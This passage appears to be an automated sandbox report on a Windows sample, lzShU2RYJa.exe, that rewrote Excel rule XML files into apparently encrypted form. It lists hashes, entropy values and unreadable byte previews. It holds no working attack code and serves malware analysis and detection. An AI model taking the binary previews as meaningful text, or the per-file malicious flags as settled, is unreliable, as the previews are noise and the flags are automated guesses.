Preview:	<?xmlP...~[`..r..7...9._.x..NM..t./...g..s$U.d..!. .\.X\.^.......C>GZ.h. 9.%....._.M...B. A.%-.1a..E.>._....x.B3O....\|.F....a...!q.a...(.......O.RA.e.[.....s}..dZ.~.6..ZS...w.AI..`..E...."...(..y....ai.....=..8..nKU...G[.H S%cS.\..cyq.v.c......z..@...}...3.......c<...{..m.`....\.K..6.y.D[Lx...M...X.....hr.:..8.$)...o.@=L._.....AE{..3K.l.]`w.L.......I...o..?..?.A...a9..v.Z0e..L........>.op.M.G....{X"...x.d....s.Df.y..u9.......z.g.w.D..g...0f..q.9..x...n..g3.'.u.f.\.Ez....HR+,k+.h.S..=(.q.....-.F2fk....,...g.[^..FV..x..C..;..a.h..].pH.7._X."d....CB..(W..[..W..R.G...;a5..h....=....p.b........A.....L..p..\.5b.M%...#.1?.a.\|.g...-.R~.\.?....^1=P.P.a...Q...1.z.../A../&m ......:G.%V.K+......\|U....t:m..!vwQ..@.v.:.F.L...YDUK_.%..~..5+...5...u....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370001v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2604
Entropy (8bit):	7.918088625155692
Encrypted:	false
SSDEEP:	48:YTRd/j/gbC3HKOqLVgeRvV/Kf0S1C7ZonoPonQgsKlBV15PjGjv+ijRguFD:Ytd/dX3qpRvV/q67KBTseBL5PjGTFgu9
MD5:	72FA648E6604A8232972B94A043B4CEC
SHA1:	2968A17CA1C30F98AD847615D5C90D1A591BD552
SHA-256:	47A07370532F0A12640E8F1D1E70C17B1ECB441D0D42B20B58279F0CA28CD7F4
SHA-512:	54969F602CC5C5A1EBB070EC59F6683040363C254F114F799F3F195C58CCB526D23B36825C5018F282184D9FB3DF67E72B273D93108D3BA9BD51A9988A29B930
Malicious:	false
Preview:	<?xmlq-...r..lz.-..........B=y9.....DEl#...a..c.c......6.0.\|....8v....s....y.b..{z.}..J...{I........%x..dM.u...{.1......;.....P5."1....<...w[u_..z.z........9-T.=e.M..y..K.F.b...{..GL...C..}...uo...~..16.Mvn.".....5.h..eN...M...6...H.;.D..H)....F.dP.".az.!F.=...1P$.....=;....~b..){..E.7.D_7)Y..8F-.A....P..x[./nz..V.C..x...8,..O...{D..(.U.[.......aW.-..^.L.R...b..).E....n.J....n.....Z.~..f..(...0....j..5q.j'.Qe:.]Z.y\|.M...h..'x{#.../.5.....'.BC...bH2a.}.W.2..-..Vg.H.a.k.o.v.c.W..6o.>...)..Il..oqZ..g3.P..z.~..?.gg...q5...`..._.%.AY8F@.,..KK.kN..85..`C.%l.B........]k..G.eF.D\..\|.......a.$W.e.~.....I.F...c..?....\|.,...;...z{...<..v. H...].2..d.pUTO..S..:.....l.....].....H}z...m.E4.O..~...i.[...E.......0>.(b.]Xd@Eb.Gi... }..C&..S...ky...E5..&Q..........QkAS......:d...nw.....9.J&...k.m...X!{..~'Tm...k.n6@.1.0\|1....S.....mFg..$.+.($..\..-t.t..$.s.f...+.{.......i....b...E..#..l{...[.4...>a..WU.F.%.mIe..i..7.<.'.?Nt...RC.V............./.....,.a.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370002v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	6109
Entropy (8bit):	7.96737518479983
Encrypted:	false
SSDEEP:	96:oiUeZE3VNFbpp0WbZJ61yQyKLomkdpxxtWLpEljJOxu7jnCGxhH3+hwKexm9:weizFppbeoQxUmk/Xljcxj8hH4wJG
MD5:	BFD514B9F84EEBD924166FC48F8B6A5F
SHA1:	595D38B3919E967D3D1C3CC31C084D14CACDF3AA
SHA-256:	EEBEAB549E7D2CF9B431AF1801DA022570474034CEDA293D5871DB5168AAA7AB
SHA-512:	B2BEDAC25DB41287EBE8F2BCAB47D7800277EFEE11E481B1FF6D4EB23489DE09D9B359A12A12CB6D015A6965829AD77F91B9001C3593C1EC86750DABD7D77C82
Malicious:	false
Preview:	<?xml....^...Y....+.DR.....=.R.. ON..=.v.]a.........."5.t.PSGVgQIyVA.o4'=T...s......6.c..8.V..D.!p7...<....x....G,=x.K.....\|Fi1.[r.;..pg....2.....zU{..aC....YK.g.[.a...S.$w...l..D.._.. .u....._....s..........WT1.t.Q....vw.%.....;l....1D.k.....7z.....U."Y...Qx...x....[aG....1...E..R.(...v...#+.x` Y.n...P..QM..E...,7'2D...z\|.H....s.$[..K9.Ny.X..%.D.c0.....>.....!.rD#..uG..c.n.....S.(..-.\|.....D5".b./...<3..J.@K..P[/my......L..>FhR.......(9........;.O.".s.GH..m[....n...........I...i0R.....@t.&......~2.LT..............s.E.m..+...P....3.+q.DA..-....3.......J..:..v.....I....I..g:.L...e........\..]....i....y.....{I.!C)....d.9V......H..6Ua(.4..`a..(.+.[.].......{..\,..J.Z..........B.O...cY...X..8.5?...'.R..........ah..1..G.'..2.......CN...X.[..._.C8....o...F....[S.W.[..`H.#....Q5X.d.... .g.-./{....#..V.4o.5....D..d.}7..n.v,.....N....-NY.......g.q.......U...opZ).m.7.6.&.:;k...&H[bB..M..B..%.C..h...t-[.wl.y.1.K...u.....b..hn..;.y.......Pa~X.Q.X.YN......<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370005v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1454
Entropy (8bit):	7.845826089017778
Encrypted:	false
SSDEEP:	24:e+wbfWCqXnnBLjBIIADQqs5wgdD3G4uxSmpEN0esYFdWnWMOgQzNSMxvdjoZVbD:e+zXnRfA8a43vN0309JzNFpdjoZFD
MD5:	930A4E6AC852F0B90E25B5B39B54BE53
SHA1:	F7477B747D7324FA72190F78BEB15F8BBBFD32A4
SHA-256:	68F85524A3DA0674BCD9AECA36A105E28689A155987AB507D37ADF66505F1046
SHA-512:	E6DA4D444A9A2C0C066BF92D0AA25CA0CC257AE8DB1A1180CD06B6BFA08455899A190B918893DE4494B5CC5457939327B6725E204317C5209552D35D3E9D5B39
Malicious:	false
Preview:	<?xml_..H4...r...M.p...+..xb...S\|.......E6..y.:..k....).....j.nR..! C....(.Mw\....%.J..u....yT..Q..3j..)..Q....J....{.._../....lE!.R....H.....;4.\.dL2......kb."..e...F....-.k..!.9.............,.;.1..Z."5...+9\.4.Fex<....=.e..^...'..K).>..j.47..n...R..?.(...(?.h..)>v.......Ob..gp(..nIt.<L..G.IY#.;E.....?.C_..%%m.r(...E.L..>..`.s......u.e.o3....%.l....r...+..zK...vL...b..y..{.A..E.......yV&..JZ(.'Hh ..e..~.A....!....Y.2C.o....J-p.U......vcG.l..D.NY.......6......;...!.\|O..,......."...}M(..._#.:..l.........h(s...y............g1n..&..bu..7.`2.M!.X.......Y?.L...kS....u....!N.l$.....F..mg.`h...4......;.k..S...J...-+O..E.H:..7T..Q..z....r=.v.P..>.Y..b...}....^...D9^..z..CU..B6.w.b...Gd1..`..d8......O.F...N4N. ...!.^....nZ.C.........a..\............nI....A...=.e.\|0..XH.....[..;...E.=.....K..v....7.6...M..s"......m..fq..L....u.%...Ox?..l...R.i#.W..L.r^h..../a.i.X.^...f.........X......q....d6.....X.../.......x.............`S=.e.LH...... ...D.%n ...Mr#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370006v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.82210113318367
Encrypted:	false
SSDEEP:	24:loLkSJgQf2EAz5rNA+N2lnOEqmIXXCJTzQmBhTRomZGplMhiVbD:lnhQ2EQ5rNl2BlWCJJBhFomZGLbFD
MD5:	6309695973F8AD375A9F41ADB87C0A2E
SHA1:	907F1D1E6B12A0D6931D70AE823E56A85DC37420
SHA-256:	D67EF02722A1740E7BBA4A3C928F504E73B1FE1AA63844FBB9963AFBF5891055
SHA-512:	FCCB0D383760910EEEA0EFA2D908C79918C333A11933F96B317C19AB2ED0DD508BCE80C9611BBDC80F9636F39FAFB6483E6F71615A6C72472DCD5F2591FCB742
Malicious:	false
Preview:	<?xml,uf...6&.....j,V8...Wt.........l.?.K...:..H..UT.x.).].t).............o{.+..a.VLa..t.........s.=..D0^$.1e..\|.j....sx.O.h..&...1.R..P.."jG...1.....(....3...n....N......l.%.l..5'.k5\|..r..<.^.....n.....\|...D0X.......+..T.jV.w..NA.(..OJ;Et.F....[.(.. W.t..>oh...FCt.S...Q....}.GP..?.....%...s.5....&...0_..?.Q,{K.\.ODc..S..2..4....efPM...%.[KK$T...k.......?..Z.E....8\|...`.s..K8....@Q..4sy..%v.v.....@.QK..!..zN........-z8.Q...:.Gm...G`.N..r7.q..Iw...A[#....P.{..G.^k.X9...X1.Z(B..'..L....[.#.... ,Bi.w.u.vzf.7.a..ng.z.SR..C2lL7..?y......C...h..m......g....X...+./M>0....n#z........u<0l.B.C.I.B0..l.((..o..o.._a.F.l...=P...(..,.......G..(N)...P'z....}....a......N.8O..U..'.qe...]".9...w+e.q......Wu.."........h..>GC..J.....i......z.V.P....FW..=[...>..g.ap.2..)\|...._........5...<]..#....\f).<.<...%....y#.[3.8...l......$..#...m.EJ..[c.r.@o...k...o......."..~..F..5.....JX.....YQ..X.G..[.Ni..n...-.oW..bxO......^..+..\]i..~.ea.e4.......2_<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370007v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3678
Entropy (8bit):	7.951248848909597
Encrypted:	false
SSDEEP:	96:de0TDS0bXbM7FqqSI6CMVizKXX51/Q1aNV7mtVXx7ZW0V9:degRT45qqp6CMVizapt3mtVXx7B
MD5:	B2E717C44AB1D02AC361E17CD6D09137
SHA1:	891113816E935F4EF2352FD80AFDB53310B7354D
SHA-256:	740465488235E16B99626E97B7180BCF8771C3030EA8351E2F49B6144ED147E8
SHA-512:	3052E8818785CBAF7C483EBB088A9C0763DF886E37FB0803D3B936255A7D43D313E78E3CDA8D8057738227D9DE37CE0A3C9F5339C2D5F6CD5CA9E728EA570767
Malicious:	false
Preview:	<?xml.......fDM%T......\|..">.4;R....<-.......bT.k.s.;..\...0....N.v.T......(P.b...{.../..c..{(`.....>....t..C...q..).+.DW.5..7.....x.&}.#.......q ..""~y(d.9..M..;.........pH....7K.j..r..\.PB....d;s4....+....q...P.+...........e.U.L.i.G.....4.9.i...._2.C(..c.=...oTn\...(...=......d.3H..l.r...S..T.=S....~G.........^n....qx...j.~...../......2...$.Nt.....zM8..AO.e..........9g_....r.#.'..k...h..........lJm.C.a..&\|.%.K.W.{./WB...B.F.Q2.....@..h..\|......J...v.s~...8gR3...k#..R...X.....;.M.....hwe.a....[.d.H(.W..rH2W.1..5 .\|.F...7..c'U....\|...7^.ji........-..LV."..2E,......]......n...."K.."uv}Y.T.....U..6......l.2.....j<.YC.*Pv.S...zQ.....w.De.....}@,.`.......`.....O....!&].Y7.$F.MJ.....=..Ng..........@e.TR3.........R......p].(..E.n.....-....Zb.Z..8..XnB..w?.h..3@Iw..i4.b.6k@.+..%...(.?.GpP$f..t.C...a._$... .N2U.kr.6.].I.....l.o.....lu..+.....WP..a.SZ=kl.L....>......R.{Zq.._i.^...L.w.6....FH..<..b<..3...q.R. .jw..}r.fXv.[.>....g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370009v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.802520246613309
Encrypted:	false
SSDEEP:	24:CzigoFt4SjcAroA1059Enq4tGYX9pB33KD78aeQA1VbD:6iFFGSjUA10514wYX9pBKDqQiFD
MD5:	DE9608396B0354495E8D212954A113FF
SHA1:	9208E92A045B635F7A844F9FF2085BCBAFCA993F
SHA-256:	614B66D75DCF885C61B8AD5DFE5868BF3F9E138DB570C93D7FCC8FA553AA52E9
SHA-512:	9CB31F0BA96CDB590CD8A6738D8243BC4E5FD74BE5CDBB596B2FEBF92C23389B766142B56C90093925680EEB0062AB1CA9F0FB81515A961E974BC328298F9482
Malicious:	false
Preview:	<?xml......`....Jn..GB.~Fp...l...81.2E~cD"..[..O2`..p'D7.....v.o..}...[..p.gbz$...&.X....\|Gj...a...23.4.<..M.+....55.;.\.;y@.6G.n....w..O......8.na.tBb......41..<.Zt.".2L>........o.s'...L.w\|..6.>.r..4.J...~...l;..@J..)LR.........g`....g...N.X..cZs#....!K...5>........8<..$..oo^..^...&.........1.E..J./A.....d....gH.w...0.sn.}^..+..,..X...`...I...R...P7nIy./.r.J.mQ.q;......6..r..._...:3.B.o..K...-....B.>.B.]..E.5Bs..k.(y.Z.3.7.j..g..p`.O"@>.i....!q..)].TP....n....6.....f......=.....N....Ja.....a.=....-...4..Ab....... .......d...~+c./7....7...OR8C@.-#...k......\.m..a0.i.^6.{..[.>..%@o...-\|d.....L......\#G_O.U..~........)..Q.jP..].TJY.....#.u.V.N;...4..o .g\.a..Q1..Y..S...h.....n..>.k.id.69.!.I..ms..Z..w]c..............H...?.u.{...X^L....`...}a.h.r..r....s.....{.....A..Nfiu[:....%..$.....W..'_.....N.4.\4......CL.0*..?....I...OP3...B..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370011v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	7.820669379700736
Encrypted:	false
SSDEEP:	24:EIg6qhizknU4aCyjt0NlOIt4/I1ofuAD0z9X3B+32UWPjLnBVbD:RJzknU4zyGoIKCofuQ0zpS2njLBFD
MD5:	1260A6DE7825636688186898E2B9AA54
SHA1:	E31E9FDAE8D1A24CC87715B49F2B49C9FB98F4F1
SHA-256:	DF3E5A9C2C5D04F6CE0719EC22E989AF09AE533FCC6E06742EA42CF1D1B22F3B
SHA-512:	CA93F495BBBA7DAD8A1D2D97342F1CA270FE2D25CDB0C9DDD9927CE38F3D3B2DD8612C270F78155A88EFD4F2266CD4851525D55136704D8CF5711A958AF0D892
Malicious:	false
Preview:	<?xmlZ.........../..Q...t.9.A.'C=.g=z.vZ..:.n<n..B..8...b....(.`.j.Q....ab.=D'..~..tr..Z...\|....Z,r.7.[<.....S..LC..Vv...^...C..G...7U.9s.V.,mD.~.Vl.A\|<.H...........l....L..7..L...c]'..o.X....`.0[..k...{l$F...../`.$...}..uU?7......M......)...&...e...zn.....z....+.3.5.M.V..H.d.v..........6.C..........2+V..3.?.G.jGI{LOB..._.K.\|.wh .C_..A.............+L.2..%`..a.ZQ......W.;BX..^.RH.=+.bq^L.}..J.[...N^...'..ltIe....m&.X.Zht.TX'S.~...+.:..aB..p..U.G]...'...S-....B$....4ue..dM.8C..C4.y.:c...w.....'..._....n(....G..$..I..e....S.*..6...H...r%.....f.....a...1B..].<.P.Y$...}4,.%^.."..`..~0K.Y.j......~6...D..!3.. .U.......<L.fVY.4l.N.../.(...\|...<OZ="~~...yj.;........67..T.3....\|.f1....Yi7..\.Bs..9....W.?.....a....vFHH%F.......~..Y.d...x..%Q.`T.a..D...d5R}J...l....j..'...%....y1..k..4].........%..t%.. eM.X.x...%..d.d...X...Q...#(/..r....!..4..L.+Hl.....P.bR.....0....:.....h..2...`... B.3d..cN.;h..............X..).....d 9.5.w.O....N.....Q_$O.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370012v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	732
Entropy (8bit):	7.694677183894608
Encrypted:	false
SSDEEP:	12:+6hT/PjwypVcnfNTAUprXGjBNYOOBfpnQOhPkAyHuAqtMmZGjVcii9a:+E/btpVGfNM+rIYOOnDzRtMmyVbD
MD5:	CE9D3F13DA26726B5AFA94F03040B7BB
SHA1:	3CA721B11BB7BBB7B7B2FAD3612FE1D68103E7C7
SHA-256:	ECD6A9D762966D16DBEA1FA5F39163B8B98712FC605223ECE35F3E0A26F4FA20
SHA-512:	DF579B06083BED743F7D69997AB54120E3423A959E4EEDB47AB1376AE2CB694A0E1AC20FB78087773BD4F31C3C43A886B36D10720FF29901480167D3FA1F8062
Malicious:	false
Preview:	<?xml344.~.#....f......;.j...c6......=d,E.N".N...D.....[-....2..............& .JeL.D.t.\|...12.#..P..M..#[9...&..g#.........C..w.g$..."0.....r...F.{y.W.):.@....Q...........N..m.l.'.g..x6.d.....4.o1.....,....N,T..r.O...n.d8@ u.1>]..9..!..V8q........Ow)i........./!./.../.Q..v..E2.\...K.cV..R.0.]9U;$J$.S..u...Fn....b.....y?\|... ...J6&O.i._.$...Ef...%3.".....f.m.Q.s/j...'p&...W_.....Z."$.x.B....9..0..\|ao0......,H:d..bXR...m.Cd..U.S..A....=.7...'....Q..L#.".-._..(.u.I.....a........&.Hs.M.4C......=...?.*Js(..;xM.C...L....Q=...>.U.3f2.p.yx9XV...C.K...b.F vB.;+7......?8..>..w..VZ...bB..J.b.W......c...R%...>....1Oitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390004v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3616
Entropy (8bit):	7.956694959942556
Encrypted:	false
SSDEEP:	48:PFzB+qTUafgokwlivFrZTyimGzbv1HAkP0JVBXYFlngtJZNeIyf0G9ZabJAv5Jn9:mqTBfgojUZWkyVBegtpyf0aOA9
MD5:	100919AF83134CAB035E1619CE522AB9
SHA1:	225E1649D0E8844C9992B1C94418A259E43FDAD1
SHA-256:	EB4950229DD6522972834DA162384523093334BDD66199B99E3146094F6C2722
SHA-512:	D692AFF7B22993EF27EE4577C53E28FF181D39391C1BFE21F400AD39E5883755D029AD3886F3709A5ADB73B15D8A752A189811352FF861F0F0ADCBFDF92FB920
Malicious:	false
Preview:	<?xml...4....Z.b~...:.n.N........P....;...`..=.r....>kg.%.<.g.g.U...qq5.6...by/d......Xr..m.:RD.j...d],.k...62..qc4.\|UR..f..&7.`..&....(.....Y.M'V.\<...HfC..b...(V..L......>..yc.Iv....`...k@...r!..bm...Q..=...u?5..._)..j..G.>.xa./..G..Uq.2.F...1.'.W.r-P.......Z..@.;2.y8l.]N.?.G.}..L.w{.z..&o.,....r. (.T..Lo.9......U..G..D.7`..5"..D.!E..q.[.U..E..I#&...0@ ..'..X}.O.#6't.....\|_z..s...V[...w.._7\|.....,...$.<r!..kq....L...+w.s....Ew..a..`x`ubN+.0.W.s.C.U.@......b.....9.j..3...b.#.....?. ...u.iH...v4..R-..2..`...n..^'..w..b-.m..Sfj...S.K..].........G........mCx.TA=i.....K.$...R.g..F.Y.e...z@m..Cx.HX2... ...k~....0..D......,D^....%.1..[h.sN$1.a%.....^..9...%..-.4i\W.OQ.B.RS.\...q.I.rx..n.{...a[.&...........`../..).....-....K..Q...$.u.."j...h...>..Y.Zp..3....y...U@V......1zf.g.........\|.c...a.......y/....b.(....J......g.t.\i..Hq.A.c...O..q.>.o....._..VM.G.....f(.$.a.`(G6.md.R1`O...X...%9.P''.Il./.....C=}..a)eA..._D..j.<.S...zN....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390005v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.738501939481433
Encrypted:	false
SSDEEP:	12:A2uCJZVbi5iLWJCBHwDMS/i/acRYH1ZSTnRcCMC549VmFlqsZejVcii9a:A5ini5iq/IS/kacRI1ETns9VEcVbD
MD5:	D30A34C8AE096B1E4206A1BD6F773B6E
SHA1:	BC3CFDA751C97E0CDAF32CD1BEE5F9B749F8EB2C
SHA-256:	F956FFDA5B341A703EEDF38C63550A2FA1E16379E70439B41BC32D98A7F5BD5D
SHA-512:	63C6373579C7F7A4542F5A28457D89124E248531FEBC646CC4D36C5B64C646C2806F269EE958C45A37BC24CB7C90E1B3EAB0FED7A15304A83876120418527F6E
Malicious:	false
Preview:	<?xml+..XV..$:S.Q.......j@...uw)....7.o.J..o...S?.8@"MM%k.>.Y..Z`C...`..N'..@..:z..v0Y.a. .I..+..'...g....1.r.j.v...<G%.<.N..,{.....-?.A............x.acx.~.Sp_..._.x-`q.)..H.Sa...t...K..T..#....(...S..,v......}.]1..".K. GW. ....D.w....gQ...U..-....t.:...nFS....:}..b....3.`@F..$F..c%....2w..VI......p5.~.j.08.Ze.....&.....'.......T.<Jz~.f..p...Td.f.P..0..%/.b...C..fQ.Lfn3^H.....c.o5};..`....R.........p............x.w...M.....:.x$...f],.T.d...`/>\.$&&:U9.....O.....Z..=M.U..9......`.......2.M.'.!.M.^P...y...'......_.70.s.~...=.......a.7(.C.^~l....v...ELL....6).....B......V..<..h3j...4.bLd.J.........z....P.%.>.......l.#.5:h..@.u.w6.R./).& s:..&f..`..6..$+itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440000v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2331
Entropy (8bit):	7.934174238809719
Encrypted:	false
SSDEEP:	48:gcGbFNeK14GUWz6wfIandyA2XQq99tgx2lf6H115cFIA9CioUasyFeFD:gcge84VWzVfIandH2Xn9qUp6V/mloay4
MD5:	CE59F472A16102C181639469190F15BA
SHA1:	ADC5DA2045B4154B51E57A7B15C8332529603393
SHA-256:	06DCD8B26397FA842B8AC5D4305A1F56B8A7F6BD83EB24ECF2BB312D51FC22C8
SHA-512:	F3D5CD45A8204CAFF37307E345321E42550944CCC14234FA86621592AF6A908EC61B3F323F8C34D9927E3113ABA493356E93937D52945DA4987DFA8359416C48
Malicious:	false
Preview:	<?xml6x.j....\..E`.h..%.......M.YID.......5....#...@......9f..?...u.v...`p......%@@........l;.Zu...y..I.tQ..:.....X.%,M.r!:.v.E...:?.#.L:J<g...._.Q.....Z.V.4.............a....$..B....!\..../XT$G\|z.,..7r....sk. %$U..M..g`.........M..1.m....0...m..^......>JAF.......P.A.b.kZ..1....Y..W....ID.....L..Zw...\..}.....{.x.5{.fP.sb.%.#..0...{.n...77....=......$M.iEZ.-.......9......b/..~-..U..........#.....z.b.C..co9.........M.Fll)"v..<f...MR.3....&...d7..R..."...ZN..U....q]u.=D.yr4?.Z@k....f...g.0m.;...<;.F.:.......#.DjH.h......M.Y.t.F...X..%...kNol..6.@..9....T...\..kdU.....d...%.i..\|..{}(.Cr..I./. ..../.a.Y.....o.l....{!w..EMQ.@.jz.zG...y.$.#.y....L.S.y.:.&...b.9..20.......;.....{&.N.3.Z...y..6... bE.+..Z!.....6Bp,..p.kd.x.L....ta....p]].>....iQ.'.K......x5..u...s...{\(.."#H.H...>...~.;Bii.P....i.O...bCy.f......W...^d.I.@I.U..6..A.D.....,.$...0...".$............S'.....^T...&.u...>...CZ..4.4P.Nq...h&yC.....M.....yv.j3[.,.,._.....GF.k.H.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	44492
Entropy (8bit):	7.996415478260752
Encrypted:	true
SSDEEP:	768:+YbK9bOG908RkJdsznMdRSZFmEAsWuDOLEjayROVVdM2vkpoRmQLwIH3Q9Ngiom:ZA0kkcFAsXDOIn4ZkpoRmQLwIH3WT
MD5:	A5673FF57D145A383C61D2000D29D14A
SHA1:	213B4E9F77EFC4E8F6653BF638D9C0E55436A40E
SHA-256:	3C7DAD8B6183A6C97E15322953A79A2A0B1775F1E81F51E12B87947DB2373CD2
SHA-512:	79E32A3D43BE937E619A1C4387751612E9B0D9DF068D7F1EFE68E30F2F5FF78162CCF71A0230AB0AB2725966D6B6B73D503AB70EB7897478D478856124797458
Malicious:	true
Preview:	<?xmli....w...h{....!E....>.d..4H=.....$.f......zU.....z.&.....x~3.(..7!X..,l.,....7...E.f.U{.............D..)...G..p(L...(..6....o...d.....l.}...~w..........+.:F..S.4..^..b.,...O.....0W....j.o.......H..Q..".l.q..Q..1.M..1w~kP{...e...E.........j.n......?6.4d.1....KQ)...K`..\.pZ......DS.`j..Q.z...{. .vm...TY*m......M...g?......;..f.\..t6.b.dP~.8.41S....9s.)vB..i`.}?.8....?.r-x..q....[.l.a.W\|.R..N ....g.........Z!_A.=.J..8.82.`...8.f:..t(.hz7....CW..!..i^.s.Z.e9...I1.%q..>`..,gn%....S..]..o,X...9..#VMR.TXq..a.(.E%.O...v0.......=.:..\........^X..o.e"....7...E...a..`..{..\M..n...mN(..-Z.G.........t.?....F7W."f.. ..v...W..i...1.g4./..MG'H.T.R.q.YG...V..../fK.8..........\|..s;.y...}<.L.z..q~;........S.U.+.R.z._.n.....eW.!^..;......8]..{../..v;....!...@y.....^...D.....@.E.....,...jc....#.x..y..adc.^...Xg.[.tvc...^pry.P.=m.8..q-(...n...V......[iX....Y..;.CHUT.y..bj.4...U.&..........X..E....f..s....:...~...~.v+`e..p.V.kJ.iXL..T.UBZ.f..e.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440004v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2338
Entropy (8bit):	7.907635970290737
Encrypted:	false
SSDEEP:	48:9MqAefiT3uEiHYJgLLIkcOnTSMK9kROyNDMbiWqBGnnEkXVEg4ZFD:9MafiiEbJgLLTTJ7OyNwbiWqBgEkXQ9
MD5:	C76D8ED7F0ED1DE3344A7A7F3CE706DC
SHA1:	7D3D78BAD2511A4B8E81073832673DA2B92DF6E0
SHA-256:	9709326E6E2C1D887E1222C26299B74839E5909AD1EFE19B5EC43199FE678F4A
SHA-512:	12313B6E56FD5CE35B0C262ECB7C55BE28D820AC51E1BDA8DE2C5A19728343EC9918BA92567F9A467436AD8CBBDB578DAB3D1FEEC3E8E4E50E22182804A783F3
Malicious:	false
Preview:	<?xml.BD...A@-........Cs.............[....!.Z...Y...OB......%......O.d....^r....uB(...RY'.b.....F.p.W.^..2.".......i..te...k.!.].].'k<.T...h./...i.Tny..j..A6.-...1....?....n@...Qz...<x....4h......b9...+.......g..A.;J..ZS(.`.....+F....8N......$...x../.wK.U..SLW.u4.V...h.j.7Q.0.....4.f Z!.&73.\|J%8).4..Q ..vqw..}..h.GT...t...X.0...a...E..TCz$.q..\$$g.p.l...a.Z..5aN.t..3.Hw.~.:T.&4G~``..0M.......J[.">.9.W.K...{...}....".2...pV.C.i....c.=.d.C.?N.}..&..\|aw..#......fj.E.#...WD...gp..f\|.x.........)....kT..h.....TF.&.CBs.....O9&$.9.......>n.\|..[....R"H.m..y......e"V...v.\|.h.......>?.9..O.S..._.kEi.....Wh;.5..%'.2.?..fT.......q..H...T..9as-...E^.....ln...r9.y.'H..0.h8.6.4.....`..x.u.D....8a"..._V...`..@..G.t...fc{uQ6....~1J....5.......?......-pa.1..w..N...x~7..a..!....i...[I..T.=4.0:.'3.gD.C7{.* ....nCA..o.=F.:..leO.?..^.....iF.I.....E>Gg{..\.D=..*.Z...%.d...R&..G4Q..;z{.%z+s.K.......b.t.k.D...@Y...ix.b@3..=........w...@U.....CV.\....a7...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440005v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2320
Entropy (8bit):	7.915918890923053
Encrypted:	false
SSDEEP:	48:wmgC3cu7fkrekU3y8wBGi51FqSx9qcr15g/GDnTkTIs0la82FD:wg3cu7fkrekp8wBGid8cr1nDnT/29
MD5:	DBEE9B7C0594AB9CCAC06AB452857C48
SHA1:	D60BDF4F2FFB51AE1B0FFBBB48FFF33E884D8A19
SHA-256:	CD16184ADC92C4B8CEB2B547C27651CC62C04FE537CCD6E8F7850B97E1E79875
SHA-512:	3A506121B677459A19C8425281472CB9FABA37C7ABCB5E0006825B772A5ED802000DB09D908D6FB3A0ED75194D3FD6951AC65BE9233F7FCE5A9CF9B72C3C7382
Malicious:	false
